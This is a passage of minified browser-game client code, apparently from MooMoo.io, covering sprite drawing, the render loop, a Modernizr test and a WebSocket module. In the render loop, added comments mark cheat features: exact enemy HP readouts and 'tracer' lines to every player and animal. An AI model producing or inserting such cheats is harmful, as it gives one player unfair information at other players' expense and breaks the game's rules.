3608 a = Zn[s];
3609 a || ((a = new Image).onload = function() {
3610 this.isLoaded = !0
3611 }, a.src = ".././img/weapons/" + s + ".png", Zn[s] = a), a.isLoaded && r.drawImage(
3612 a, n + e.xOff - e.length / 2, i + e.yOff - e.width / 2, e.length, e.width
3613 )
3614 }
3615 var ti = {};
3616
3617 function ni(e) {
3618 var t = e.y >= o.mapScale - o.snowBiomeTop ? 2 : e.y <= o.snowBiomeTop ? 1 :
3619 0,
3620 n = e.type + "_" + e.scale + "_" + t,
3621 i = ti[n];
3622 if (!i) {
3623 var r = document.createElement("canvas");
3624 r.width = r.height = 2.1 * e.scale + 5.5;
3625 var a = r.getContext("2d");
3626 if (a.translate(r.width / 2, r.height / 2), a.rotate(s.randFloat(0, Math.PI)),
3627 a.strokeStyle = it, a.lineWidth = 5.5, 0 == e.type)
3628 for (var c, l = 0; l < 2; ++l) ai(a, 7, c = _.scale * (l ? .5 : 1), .7 *
3629 c), a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62" :
3630 "#9ebf57", a.fill(), l || a.stroke();
3631 else if (1 == e.type)
3632 if (2 == t) a.fillStyle = "#606060", ai(a, 6, .3 * e.scale, .71 * e.scale),
3633 a.fill(), a.stroke(), a.fillStyle = "#89a54c", si(0, 0, .55 * e.scale, a),
3634 a.fillStyle = "#a5c65b", si(0, 0, .3 * e.scale, a, !0);
3635 else {
3636 var h;
3637 ! function(e, t, n, i) {
3638 var r, a = Math.PI / 2 * 3,
3639 o = Math.PI / 6;
3640 e.beginPath(), e.moveTo(0, -i);
3641 for (var c = 0; c < 6; c++) r = s.randInt(n + .9, 1.2 * n), e.quadraticCurveTo(
3642 Math.cos(a + o) * r, Math.sin(a + o) * r, Math.cos(a + 2 * o) * i,
3643 Math.sin(a + 2 * o) * i), a += 2 * o;
3644 e.lineTo(0, -i), e.closePath()
3645 }(a, 0, _.scale, .7 * _.scale), a.fillStyle = t ? "#e3f1f4" : "#89a54c",
3646 a.fill(), a.stroke(), a.fillStyle = t ? "#6a64af" : "#c15555";
3647 var u = T / 4;
3648 for (l = 0; l < 4; ++l) si((h = s.randInt(_.scale / 3.5, _.scale / 2.3)) *
3649 Math.cos(u * l), h * Math.sin(u * l), s.randInt(10, 12), a)
3650 }
3651 else 2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 == t ?
3652 "#938d77" : "#939393" : "#e0c655", ai(a, 3, e.scale, e.scale), a.fill(),
3653 a.stroke(), a.fillStyle = 2 == e.type ? 2 == t ? "#b2ab90" : "#bcbcbc" :
3654 "#ebdca3", ai(a, 3, .55 * e.scale, .65 * e.scale), a.fill());
3655 i = r, ti[n] = i
3656 }
3657 return i
3658 }
3659 var ii = [];
3660
3661 function ri(e, t) {
3662 var n = ii[e.id];
3663 if (!n || t) {
3664 var i = document.createElement("canvas");
3665 i.width = i.height = 2.5 * e.scale + 5.5 + (l.list[e.id].spritePadding ||
3666 0);
3667 var r = i.getContext("2d");
3668 if (r.translate(i.width / 2, i.height / 2), r.rotate(t ? 0 : Math.PI / 2),
3669 r.strokeStyle = it, r.lineWidth = 5.5 * (t ? i.width / 81 : 1), "apple" ==
3670 e.name) {
3671 r.fillStyle = "#c15555", si(0, 0, e.scale, r), r.fillStyle = "#89a54c";
3672 var a = -Math.PI / 2;
3673 ! function(e, t, n, i, r) {
3674 var s = e + 25 * Math.cos(i),
3675 a = t + 25 * Math.sin(i);
3676 r.moveTo(e, t), r.beginPath(), r.quadraticCurveTo((e + s) / 2 + 10 *
3677 Math.cos(i + Math.PI / 2), (t + a) / 2 + 10 * Math.sin(i + Math.PI / 2),
3678 s, a), r.quadraticCurveTo((e + s) / 2 - 10 * Math.cos(i + Math.PI / 2),
3679 (t + a) / 2 - 10 * Math.sin(i + Math.PI / 2), e, t), r.closePath(), r.fill(),
3680 r.stroke()
3681 }(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI / 2, r)
3682 } else if ("cookie" == e.name) {
3683 r.fillStyle = "#cca861", si(0, 0, e.scale, r), r.fillStyle = "#937c4b";
3684 for (var o = T / (h = 4), c = 0; c < h; ++c) si((u = s.randInt(e.scale /
3685 2.5, e.scale / 1.7)) * Math.cos(o * c), u * Math.sin(o * c), s.randInt(
3686 4, 5), r, !0)
3687 } else if ("cheese" == e.name) {
3688 var h, u;
3689 for (r.fillStyle = "#f4f3ac", si(0, 0, e.scale, r), r.fillStyle =
3690 "#c3c28b", o = T / (h = 4), c = 0; c < h; ++c) si((u = s.randInt(e.scale /
3691 2.5, e.scale / 1.7)) * Math.cos(o * c), u * Math.sin(o * c), s.randInt(
3692 4, 5), r, !0)
3693 } else if ("wood wall" == e.name || "stone wall" == e.name ||
3694 "castle wall" == e.name) {
3695 r.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall" == e.name ?
3696 "#a5974c" : "#939393";
3697 var f = "castle wall" == e.name ? 4 : 3;
3698 ai(r, f, 1.1 * e.scale, 1.1 * e.scale), r.fill(), r.stroke(), r.fillStyle =
3699 "castle wall" == e.name ? "#9da4aa" : "wood wall" == e.name ? "#c9b758" :
3700 "#bcbcbc", ai(r, f, .65 * e.scale, .65 * e.scale), r.fill()
3701 } else if ("spikes" == e.name || "greater spikes" == e.name ||
3702 "poison spikes" == e.name || "spinning spikes" == e.name) {
3703 r.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
3704 var d = .6 * e.scale;
3705 ai(r, "spikes" == e.name ? 5 : 6, e.scale, d), r.fill(), r.stroke(), r.fillStyle =
3706 "#a5974c", si(0, 0, d, r), r.fillStyle = "#c9b758", si(0, 0, d / 2, r, !
3707 0)
3708 } else if ("windmill" == e.name || "faster windmill" == e.name ||
3709 "power mill" == e.name) r.fillStyle = "#a5974c", si(0, 0, e.scale, r), r.fillStyle =
3710 "#c9b758", ci(0, 0, 1.5 * e.scale, 29, 4, r), r.fillStyle = "#a5974c", si(
3711 0, 0, .5 * e.scale, r);
3712 else if ("mine" == e.name) r.fillStyle = "#939393", ai(r, 3, e.scale, e.scale),
3713 r.fill(), r.stroke(), r.fillStyle = "#bcbcbc", ai(r, 3, .55 * e.scale,
3714 .65 * e.scale), r.fill();
3715 else if ("sapling" == e.name)
3716 for (c = 0; c < 2; ++c) ai(r, 7, d = e.scale * (c ? .5 : 1), .7 * d), r.fillStyle =
3717 c ? "#b4db62" : "#9ebf57", r.fill(), c || r.stroke();
3718 else if ("pit trap" == e.name) r.fillStyle = "#a5974c", ai(r, 3, 1.1 * e.scale,
3719 1.1 * e.scale), r.fill(), r.stroke(), r.fillStyle = it, ai(r, 3, .65 * e
3720 .scale, .65 * e.scale), r.fill();
3721 else if ("boost pad" == e.name) r.fillStyle = "#7e7f82", oi(0, 0, 2 * e.scale,
3722 2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle = "#dbd97d",
3723 function(e, t) {
3724 t = t || be;
3725 var n = e * (Math.sqrt(3) / 2);
3726 t.beginPath(), t.moveTo(0, -n / 2), t.lineTo(-e / 2, n / 2), t.lineTo(e /
3727 2, n / 2), t.lineTo(0, -n / 2), t.fill(), t.closePath()
3728 }(1 * e.scale, r);
3729 else if ("turret" == e.name) r.fillStyle = "#a5974c", si(0, 0, e.scale, r),
3730 r.fill(), r.stroke(), r.fillStyle = "#939393", oi(0, -25, .9 * e.scale,
3731 50, r), si(0, 0, .6 * e.scale, r), r.fill(), r.stroke();
3732 else if ("platform" == e.name) {
3733 r.fillStyle = "#cebd5f";
3734 var p = 2 * e.scale,
3735 g = p / 4,
3736 m = -e.scale / 2;
3737 for (c = 0; c < 4; ++c) oi(m - g / 2, 0, g, 2 * e.scale, r), r.fill(), r.stroke(),
3738 m += p / 4
3739 } else "healing pad" == e.name ? (r.fillStyle = "#7e7f82", oi(0, 0, 2 * e.scale,
3740 2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle = "#db6e6e", ci(0, 0,
3741 .65 * e.scale, 20, 4, r, !0)) : "spawn pad" == e.name ? (r.fillStyle =
3742 "#7e7f82", oi(0, 0, 2 * e.scale, 2 * e.scale, r), r.fill(), r.stroke(),
3743 r.fillStyle = "#71aad6", si(0, 0, .6 * e.scale, r)) : "blocker" == e.name ?
3744 (r.fillStyle = "#7e7f82", si(0, 0, e.scale, r), r.fill(), r.stroke(), r.rotate(
3745 Math.PI / 4), r.fillStyle = "#db6e6e", ci(0, 0, .65 * e.scale, 20, 4, r, !
3746 0)) : "teleporter" == e.name && (r.fillStyle = "#7e7f82", si(0, 0, e.scale,
3747 r), r.fill(), r.stroke(), r.rotate(Math.PI / 4), r.fillStyle =
3748 "#d76edb", si(0, 0, .5 * e.scale, r, !0));
3749 n = i, t || (ii[e.id] = n)
3750 }
3751 return n
3752 }
3753
3754 function si(e, t, n, i, r, s) {
3755 (i = i || be).beginPath(), i.arc(e, t, n, 0, 2 * Math.PI), s || i.fill(), r ||
3756 i.stroke()
3757 }
3758
3759 function ai(e, t, n, i) {
3760 var r, s, a = Math.PI / 2 * 3,
3761 o = Math.PI / t;
3762 e.beginPath(), e.moveTo(0, -n);
3763 for (var c = 0; c < t; c++) r = Math.cos(a) * n, s = Math.sin(a) * n, e.lineTo(
3764 r, s), a += o, r = Math.cos(a) * i, s = Math.sin(a) * i, e.lineTo(r, s),
3765 a += o;
3766 e.lineTo(0, -n), e.closePath()
3767 }
3768
3769 function oi(e, t, n, i, r, s) {
3770 r.fillRect(e - n / 2, t - i / 2, n, i), s || r.strokeRect(e - n / 2, t - i /
3771 2, n, i)
3772 }
3773
3774 function ci(e, t, n, i, r, s, a) {
3775 s.save(), s.translate(e, t), r = Math.ceil(r / 2);
3776 for (var o = 0; o < r; o++) oi(0, 0, 2 * n, i, s, a), s.rotate(Math.PI / r);
3777 s.restore()
3778 }
3779
3780 function li(e) {
3781 for (var t = 0; t < e.length;) nt.add(e[t], e[t + 1], e[t + 2], e[t + 3], e[
3782 t + 4], e[t + 5], l.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
3783 sid: e[t + 7]
3784 } : null), t += 8
3785 }
3786
3787 function hi(e, t) {
3788 (_ = Mi(t)) && (_.xWiggle += o.gatherWiggle * Math.cos(e), _.yWiggle += o.gatherWiggle *
3789 Math.sin(e))
3790 }
3791
3792 function ui(e, t) {
3793 (_ = Mi(e)) && (_.dir = t, _.xWiggle += o.gatherWiggle * Math.cos(t + Math.PI),
3794 _.yWiggle += o.gatherWiggle * Math.sin(t + Math.PI))
3795 }
3796
3797 function fi(e, t, n, i, r, s, a, o) {
3798 lt && (J.addProjectile(e, t, n, i, r, s, null, null, a).sid = o)
3799 }
3800
3801 function di(e, t) {
3802 for (var n = 0; n < G.length; ++n) G[n].sid == e && (G[n].range = t)
3803 }
3804
3805 function pi(e) {
3806 (_ = Ei(e)) && _.startAnim()
3807 }
3808
3809 function gi(e) {
3810 for (var t = 0; t < Y.length; ++t) Y[t].forcePos = !Y[t].visible, Y[t].visible = !
3811 1;
3812 if (e) {
3813 var n = Date.now();
3814 for (t = 0; t < e.length;)(_ = Ei(e[t])) ? (_.index = e[t + 1], _.t1 =
3815 void 0 === _.t2 ? n : _.t2, _.t2 = n, _.x1 = _.x, _.y1 = _.y, _.x2 = e[t +
3816 2], _.y2 = e[t + 3], _.d1 = void 0 === _.d2 ? e[t + 4] : _.d2, _.d2 = e[
3817 t + 4], _.health = e[t + 5], _.dt = 0, _.visible = !0) : ((_ = Z.spawn(
3818 e[t + 2], e[t + 3], e[t + 4], e[t + 1])).x2 = _.x, _.y2 = _.y, _.d2 = _
3819 .dir, _.health = e[t + 5], Z.aiTypes[e[t + 1]].name || (_.name = o.cowNames[
3820 e[t + 6]]), _.forcePos = !0, _.sid = e[t], _.visible = !0), t += 7
3821 }
3822 }
3823 var mi = {};
3824
3825 function yi(e, t) {
3826 var n = e.index,
3827 i = mi[n];
3828 if (!i) {
3829 var r = new Image;
3830 r.onload = function() {
3831 this.isLoaded = !0, this.onload = null
3832 }, r.src = ".././img/animals/" + e.src + ".png", i = r, mi[n] = i
3833 }
3834 if (i.isLoaded) {
3835 var s = 1.2 * e.scale * (e.spriteMlt || 1);
3836 t.drawImage(i, -s, -s, 2 * s, 2 * s)
3837 }
3838 }
3839
3840 function ki(e, t, n) {
3841 return e + n >= 0 && e - n <= oe && t + n >= 0 && t - n <= ce
3842 }
3843
3844 function vi(e, t) {
3845 var n = function(e) {
3846 for (var t = 0; t < W.length; ++t)
3847 if (W[t].id == e) return W[t];
3848 return null
3849 }(e[0]);
3850 n || (n = new u(e[0], e[1], o, s, J, nt, W, Y, l, et, tt), W.push(n)), n.spawn(
3851 t ? H : null), n.visible = !1, n.x2 = void 0, n.y2 = void 0, n.setData(e),
3852 t && (U = (R = n).x, D = R.y, $t(), On(), Dn(), Un(0), Be.style.display =
3853 "block")
3854 }
3855
3856 function wi(e) {
3857 for (var t = 0; t < W.length; t++)
3858 if (W[t].id == e) {
3859 W.splice(t, 1);
3860 break
3861 }
3862 }
3863
3864 function bi(e, t) {
3865 R && (R.itemCounts[e] = t)
3866 }
3867
3868 function xi(e, t, n) {
3869 R && (R[e] = t, n && On())
3870 }
3871
3872 function Si(e, t) {
3873 (_ = Ii(e)) && (_.health = t)
3874 }
3875
3876 function Ti(e) {
3877 for (var t = Date.now(), n = 0; n < W.length; ++n) W[n].forcePos = !W[n].visible,
3878 W[n].visible = !1;
3879 for (n = 0; n < e.length;)(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _
3880 .t2, _.t2 = t, _.x1 = _.x, _.y1 = _.y, _.x2 = e[n + 1], _.y2 = e[n + 2],
3881 _.d1 = void 0 === _.d2 ? e[n + 3] : _.d2, _.d2 = e[n + 3], _.dt = 0, _.buildIndex =
3882 e[n + 4], _.weaponIndex = e[n + 5], _.weaponVariant = e[n + 6], _.team =
3883 e[n + 7], _.isLeader = e[n + 8], _.skinIndex = e[n + 9], _.tailIndex = e[
3884 n + 10], _.iconIndex = e[n + 11], _.zIndex = e[n + 12], _.visible = !0),
3885 n += 13
3886 }
3887
3888 function Ii(e) {
3889 for (var t = 0; t < W.length; ++t)
3890 if (W[t].sid == e) return W[t];
3891 return null
3892 }
3893
3894 function Ei(e) {
3895 for (var t = 0; t < Y.length; ++t)
3896 if (Y[t].sid == e) return Y[t];
3897 return null
3898 }
3899
3900 function Mi(e) {
3901 for (var t = 0; t < N.length; ++t)
3902 if (N[t].sid == e) return N[t];
3903 return null
3904 }
3905 var Ai = -1;
3906
3907 function Pi() {
3908 var e = Date.now() - Ai;
3909 window.pingTime = e, Ie.innerText = "Ping: " + e + " ms"
3910 }
3911
3912 function Bi() {
3913 Ai = Date.now(), r.send("pp")
3914 }
3915
3916 function Ci(e) {
3917 if (!(e < 0)) {
3918 var t = Math.floor(e / 60),
3919 n = e % 60;
3920 n = ("0" + n).slice(-2), Ee.innerText = "Server restarting in " + t + ":" +
3921 n, Ee.hidden = !1
3922 }
3923 }
3924
3925 function Oi(e) {
3926 window.open(e, "_blank")
3927 }
3928 window.requestAnimFrame = window.requestAnimationFrame || window.webkitRequestAnimationFrame ||
3929 window.mozRequestAnimationFrame || function(e) {
3930 window.setTimeout(e, 1e3 / 60)
3931 },
3932 function() {
3933 var e = o.mapScale / 2;
3934 nt.add(0, e, e + 200, 0, o.treeScales[3], 0), nt.add(1, e, e - 480, 0, o.treeScales[
3935 3], 0), nt.add(2, e + 300, e + 450, 0, o.treeScales[3], 0), nt.add(3, e -
3936 950, e - 130, 0, o.treeScales[2], 0), nt.add(4, e - 750, e - 400, 0, o.treeScales[
3937 3], 0), nt.add(5, e - 700, e + 400, 0, o.treeScales[2], 0), nt.add(6, e +
3938 800, e - 200, 0, o.treeScales[3], 0), nt.add(7, e - 260, e + 340, 0, o.bushScales[
3939 3], 1), nt.add(8, e + 760, e + 310, 0, o.bushScales[3], 1), nt.add(9, e -
3940 800, e + 100, 0, o.bushScales[3], 1), nt.add(10, e - 800, e + 300, 0, l.list[
3941 4].scale, l.list[4].id, l.list[10]), nt.add(11, e + 650, e - 390, 0, l.list[
3942 4].scale, l.list[4].id, l.list[10]), nt.add(12, e - 400, e - 450, 0, o.rockScales[
3943 2], 2)
3944 }(),
3945 function e() {
3946 B = Date.now(), P = B - q, q = B,
3947 function() {
3948 if (R && (!C || B - C >= 1e3 / o.clientSendRate) && (C = B, r.send("2",
3949 pn())), An < 120 && (An += .1 * P, Ge.style.fontSize = Math.min(Math.round(
3950 An), 120) + "px"), R) {
3951 var e = s.getDistance(U, D, R.x, R.y),
3952 t = s.getDirection(R.x, R.y, U, D),
3953 n = Math.min(.01 * e * P, e);
3954 e > .05 ? (U += n * Math.cos(t), D += n * Math.sin(t)) : (U = R.x, D =
3955 R.y)
3956 } else U = o.mapScale / 2, D = o.mapScale / 2;
3957 for (var i = B - 1e3 / o.serverUpdateRate, a = 0; a < W.length + Y.length; ++
3958 a)
3959 if ((_ = W[a] || Y[a - W.length]) && _.visible)
3960 if (_.forcePos) _.x = _.x2, _.y = _.y2, _.dir = _.d2;
3961 else {
3962 var c = _.t2 - _.t1,
3963 l = (i - _.t1) / c;
3964 _.dt += P;
3965 var h = Math.min(1.7, _.dt / 170),
3966 u = _.x2 - _.x1;
3967 _.x = _.x1 + u * h, u = _.y2 - _.y1, _.y = _.y1 + u * h, _.dir = Math
3968 .lerpAngle(_.d2, _.d1, Math.min(1.2, l))
3969 }
3970 var f = U - oe / 2,
3971 d = D - ce / 2;
3972 o.snowBiomeTop - d <= 0 && o.mapScale - o.snowBiomeTop - d >= ce ? (be.fillStyle =
3973 "#b6db66", be.fillRect(0, 0, oe, ce)) : o.mapScale - o.snowBiomeTop -
3974 d <= 0 ? (be.fillStyle = "#dbc666", be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop -
3975 d >= ce ? (be.fillStyle = "#fff", be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop -
3976 d >= 0 ? (be.fillStyle = "#fff", be.fillRect(0, 0, oe, o.snowBiomeTop -
3977 d), be.fillStyle = "#b6db66", be.fillRect(0, o.snowBiomeTop - d, oe,
3978 ce - (o.snowBiomeTop - d))) : (be.fillStyle = "#b6db66", be.fillRect(0,
3979 0, oe, o.mapScale - o.snowBiomeTop - d), be.fillStyle = "#dbc666", be
3980 .fillRect(0, o.mapScale - o.snowBiomeTop - d, oe, ce - (o.mapScale - o
3981 .snowBiomeTop - d))), In || ((ee += te * o.waveSpeed * P) >= o.waveMax ?
3982 (ee = o.waveMax, te = -1) : ee <= 1 && (ee = te = 1), be.globalAlpha =
3983 1, be.fillStyle = "#dbc666", qn(f, d, be, o.riverPadding), be.fillStyle =
3984 "#91b2db", qn(f, d, be, 250 * (ee - 1))), be.lineWidth = 4, be.strokeStyle =
3985 "#000", be.globalAlpha = .06, be.beginPath();
3986 for (var p = -U; p < oe; p += ce / 18) p > 0 && (be.moveTo(p, 0), be.lineTo(
3987 p, ce));
3988 for (var g = -D; g < ce; g += ce / 18) p > 0 && (be.moveTo(0, g), be.lineTo(
3989 oe, g));
3990 for (be.stroke(), be.globalAlpha = 1, be.strokeStyle = it, Yn(-1, f, d),
3991 be.globalAlpha = 1, be.lineWidth = 5.5, zn(0, f, d), Xn(f, d, 0), be.globalAlpha =
3992 1, a = 0; a < Y.length; ++a)(_ = Y[a]).active && _.visible && (_.animate(
3993 P), be.save(), be.translate(_.x - f, _.y - d), be.rotate(_.dir + _.dirPlus -
3994 Math.PI / 2), yi(_, be), be.restore());
3995 if (Yn(0, f, d), zn(1, f, d), Yn(1, f, d), Xn(f, d, 1), Yn(2, f, d), Yn(
3996 3, f, d), be.fillStyle = "#000", be.globalAlpha = .09, f <= 0 && be.fillRect(
3997 0, 0, -f, ce), o.mapScale - f <= oe) {
3998 var y = Math.max(0, -d);
3999 be.fillRect(o.mapScale - f, y, oe - (o.mapScale - f), ce - y)
4000 }
4001 if (d <= 0 && be.fillRect(-f, 0, oe + f, -d), o.mapScale - d <= ce) {
4002 var k = Math.max(0, -f),
4003 v = 0;
4004 o.mapScale - f <= oe && (v = oe - (o.mapScale - f)), be.fillRect(k, o.mapScale -
4005 d, oe - k - v, ce - (o.mapScale - d))
4006 }
4007 for (be.globalAlpha = 1, be.fillStyle = "rgba(0, 0, 70, 0.35)", be.fillRect(
4008 0, 0, oe, ce), be.strokeStyle = rt, a = 0; a < W.length + Y.length; ++
4009 a)
4010 if ((_ = W[a] || Y[a - W.length]).visible && (10 != _.skinIndex || _ ==
4011 R || _.team && _.team == R.team)) {
4012 var w = (_.team?"["+_.team+"] ":"")+(_.name||"")
4013 if ("" != w) {
4014 if (be.font = (_.nameScale || 30) + "px Hammersmith One", be.fillStyle =
4015 "#fff", be.textBaseline = "middle", be.textAlign = "center", be.lineWidth =
4016 _.nameScale ? 11 : 8, be.lineJoin = "round", be.strokeText(w, _.x -
4017 f, _.y - d - _.scale - o.nameY), be.fillText(w, _.x - f, _.y - d -
4018 _.scale - o.nameY), _.isLeader && Rn.crown.isLoaded) {
4019 var b = o.crownIconScale;
4020 k = _.x - f - b / 2 - be.measureText(w).width / 2 - o.crownPad, be.drawImage(
4021 Rn.crown, k, _.y - d - _.scale - o.nameY - b / 2 - 5, b, b)
4022 }
4023 1 == _.iconIndex && Rn.skull.isLoaded && (b = o.crownIconScale, k = _
4024 .x - f - b / 2 + be.measureText(w).width / 2 + o.crownPad, be.drawImage(
4025 Rn.skull, k, _.y - d - _.scale - o.nameY - b / 2 - 5, b, b))
4026 }
4027 window.items = R.items;
4028 window.w = R.weapons;
4029 (be.textAlign = "center",//hp number
4030 be.fillStyle = "#fff",
4031 be.lineJoin = "round",
4032 be.font = "20px Hammersmith One",
4033 be.lineWidth = 6,
4034 be.strokeText(`\nHP:${_.health}/${_.maxHealth}`,_.x - f,_.y - d + _.scale + o.nameY+(34)),
4035 be.fillText(`\nHP:${_.health}/${_.maxHealth}`,_.x - f,_.y - d + _.scale + o.nameY+(34))
4036 )
4037 if(_.isPlayer&&_!=R&&_.team&&_.team==R.team){//tribe tracers
4038 be.lineCap = "round";
4039 be.strokeStyle = "#228b22";
4040 be.lineWidth = 3;
4041 be.beginPath();
4042 be.moveTo(R.x-f, R.y-d);
4043 be.lineTo(_.x-f, _.y-d);
4044 be.stroke();
4045 be.strokeStyle = nt;
4046 }
4047 if(_.isPlayer&&_!=R&&(_.team!=R.team||!_.team)){//enemy tracers
4048 be.lineCap = "round";
4049 be.strokeStyle = "#000000";
4050 be.lineWidth = 3;
4051 be.beginPath();
4052 be.moveTo(R.x-f, R.y-d);
4053 be.lineTo(_.x-f, _.y-d);
4054 be.stroke();
4055 be.strokeStyle = nt;
4056 }
4057 if(!_.isPlayer){//animal tracers
4058 be.lineCap = "round";
4059 be.strokeStyle = "#0000ff";
4060 be.lineWidth = 3;
4061 be.beginPath();
4062 be.moveTo(R.x-f, R.y-d);
4063 be.lineTo(_.x-f, _.y-d);
4064 be.stroke();
4065 be.strokeStyle = nt;
4066
4067 }
4068 _.health > 0 && (o.healthBarWidth, be.fillStyle = rt, be.roundRect(_.x -
4069 f - o.healthBarWidth - o.healthBarPad, _.y - d + _.scale + o.nameY,
4070 2 * o.healthBarWidth + 2 * o.healthBarPad, 17, 8), be.fill(), be.fillStyle =
4071 _ == R || _.team && _.team == R.team ? "#8ecc51" : "#cc5151", be.roundRect(
4072 _.x - f - o.healthBarWidth, _.y - d + _.scale + o.nameY + o.healthBarPad,
4073 2 * o.healthBarWidth * (_.health / _.maxHealth), 17 - 2 * o.healthBarPad,
4074 7), be.fill())
4075 }
4076 for (m.update(P, be, f, d), a = 0; a < W.length; ++a)
4077 if ((_ = W[a]).visible && _.chatCountdown > 0) {
4078 _.chatCountdown -= P, _.chatCountdown <= 0 && (_.chatCountdown = 0),
4079 be.font = "32px Hammersmith One";
4080 var x = be.measureText(_.chatMessage);
4081 be.textBaseline = "middle", be.textAlign = "center", k = _.x - f, y =
4082 _.y - _.scale - d - 90;
4083 var S = x.width + 17;
4084 be.fillStyle = "rgba(0,0,0,0.2)", be.roundRect(k - S / 2, y - 23.5, S,
4085 47, 6), be.fill(), be.fillStyle = "#fff", be.fillText(_.chatMessage,
4086 k, y)
4087 }! function(e) {
4088 if (R && R.alive) {
4089 Ke.clearRect(0, 0, Ne.width, Ne.height), Ke.strokeStyle = "#fff", Ke.lineWidth =
4090 4;
4091 for (var t = 0; t < qt.length; ++t)(Vt = qt[t]).update(Ke, e);
4092 if (Ke.globalAlpha = 1, Ke.fillStyle = "#fff", si(R.x / o.mapScale *
4093 Ne.width, R.y / o.mapScale * Ne.height, 7, Ke, !0), Ke.fillStyle =
4094 "rgba(255,255,255,0.35)", R.team && Et)
4095 for (t = 0; t < Et.length;) si(Et[t] / o.mapScale * Ne.width, Et[t +
4096 1] / o.mapScale * Ne.height, 7, Ke, !0), t += 2;
4097 It && (Ke.fillStyle = "#0a0a0a", Ke.font = "34px Hammersmith One", Ke.textBaseline =
4098 "middle", Ke.textAlign = "center", Ke.fillText("x", It.x / o.mapScale *
4099 Ne.width, It.y / o.mapScale * Ne.height)), Mt && (Ke.fillStyle =
4100 "#fff", Ke.font = "34px Hammersmith One", Ke.textBaseline = "middle",
4101 Ke.textAlign = "center", Ke.fillText("x", Mt.x / o.mapScale * Ne.width,
4102 Mt.y / o.mapScale * Ne.height))
4103 }
4104 }(P), -1 !== re.id && Fn(re.startX, re.startY, re.currentX, re.currentY), -
4105 1 !== se.id && Fn(se.startX, se.startY, se.currentX, se.currentY)
4106 }(), requestAnimFrame(e)
4107 }(), window.openLink = Oi, window.aJoinReq = Dt, window.follmoo = function() {
4108 H || (H = !0, I("moofoll", 1))
4109 }, window.kickFromClan = Lt, window.sendJoin = Ft, window.leaveAlliance =
4110 Ht, window.createAlliance = zt, window.storeBuy = Kt, window.storeEquip =
4111 Jt, window.showItemInfo = Tt, window.selectSkinColor = function(e) {
4112 ae = e, en()
4113 }, window.changeStoreIndex = function(e) {
4114 Xt != e && (Xt = e, Gt())
4115 }, window.config = o
4116}, function(e, t) {
4117 ! function(e, t, n) {
4118 function i(e, t) {
4119 return typeof e === t
4120 }
4121 var r = [],
4122 s = [],
4123 a = {
4124 _version: "3.5.0",
4125 _config: {
4126 classPrefix: "",
4127 enableClasses: !0,
4128 enableJSClass: !0,
4129 usePrefixes: !0
4130 },
4131 _q: [],
4132 on: function(e, t) {
4133 var n = this;
4134 setTimeout((function() {
4135 t(n[e])
4136 }), 0)
4137 },
4138 addTest: function(e, t, n) {
4139 s.push({
4140 name: e,
4141 fn: t,
4142 options: n
4143 })
4144 },
4145 addAsyncTest: function(e) {
4146 s.push({
4147 name: null,
4148 fn: e
4149 })
4150 }
4151 },
4152 o = function() {};
4153 o.prototype = a, o = new o;
4154 var c = t.documentElement,
4155 l = "svg" === c.nodeName.toLowerCase();
4156 o.addTest("passiveeventlisteners", (function() {
4157 var t = !1;
4158 try {
4159 var n = Object.defineProperty({}, "passive", {
4160 get: function() {
4161 t = !0
4162 }
4163 });
4164 e.addEventListener("test", null, n)
4165 } catch (e) {}
4166 return t
4167 })),
4168 function() {
4169 var e, t, n, a, c, l;
4170 for (var h in s)
4171 if (s.hasOwnProperty(h)) {
4172 if (e = [], (t = s[h]).name && (e.push(t.name.toLowerCase()), t.options &&
4173 t.options.aliases && t.options.aliases.length))
4174 for (n = 0; n < t.options.aliases.length; n++) e.push(t.options.aliases[
4175 n].toLowerCase());
4176 for (a = i(t.fn, "function") ? t.fn() : t.fn, c = 0; c < e.length; c++)
4177 1 === (l = e[c].split(".")).length ? o[l[0]] = a : (!o[l[0]] || o[l[0]] instanceof Boolean ||
4178 (o[l[0]] = new Boolean(o[l[0]])), o[l[0]][l[1]] = a), r.push((a ? "" :
4179 "no-") + l.join("-"))
4180 }
4181 }(),
4182 function(e) {
4183 var t = c.className,
4184 n = o._config.classPrefix || "";
4185 if (l && (t = t.baseVal), o._config.enableJSClass) {
4186 var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
4187 t = t.replace(i, "$1" + n + "js$2")
4188 }
4189 o._config.enableClasses && (t += " " + n + e.join(" " + n), l ? c.className
4190 .baseVal = t : c.className = t)
4191 }(r), delete a.addTest, delete a.addAsyncTest;
4192 for (var h = 0; h < o._q.length; h++) o._q[h]();
4193 e.Modernizr = o
4194 }(window, document)
4195}, function(e, t, n) {
4196 var i = n(24);
4197 n(19), e.exports = {
4198 socket: null,
4199 connected: !1,
4200 socketId: -1,
4201 connect: function(e, t, n) {
4202 if (!this.socket) {
4203 var r = this;
4204 try {
4205 var s = !1,
4206 a = e;
4207 this.socket = new WebSocket(a), this.socket.binaryType = "arraybuffer",
4208 this.socket.onmessage = function(e) {
4209 var t = new Uint8Array(e.data),
4210 s = i.decode(t),
4211 a = s[0];
4212 t = s[1], "io-init" == a ? r.socketId = t[0] : n[a].apply(void 0, t)
4213 }, this.socket.onopen = function() {
4214 r.connected = !0, t()
4215 }, this.socket.onclose = function(e) {
4216 r.connected = !1, 4001 == e.code ? t("Invalid Connection") : s || t(
4217 "disconnected")
4218 }, this.socket.onerror = function(e) {
4219 this.socket && this.socket.readyState != WebSocket.OPEN && (s = !0,
4220 console.error("Socket error", arguments), t("Socket error"))
4221 }
4222 } catch (e) {
4223 console.warn("Socket connection error:", e), t(e)
4224 }
4225 }
4226 },
4227 send: function(e) {
4228 var t = Array.prototype.slice.call(arguments, 1),
4229 n = i.encode([e, t]);
4230 this.socket.send(n)
4231 },
4232 socketReady: function() {
4233 return this.socket && this.connected
4234 },
4235 close: function() {
4236 this.socket && this.socket.close()
4237 }
4238 }
4239}, function(e, t, n) {
4240 t.encode = n(9).encode, t.decode = n(15).decode, t.Encoder = n(37).Encoder,
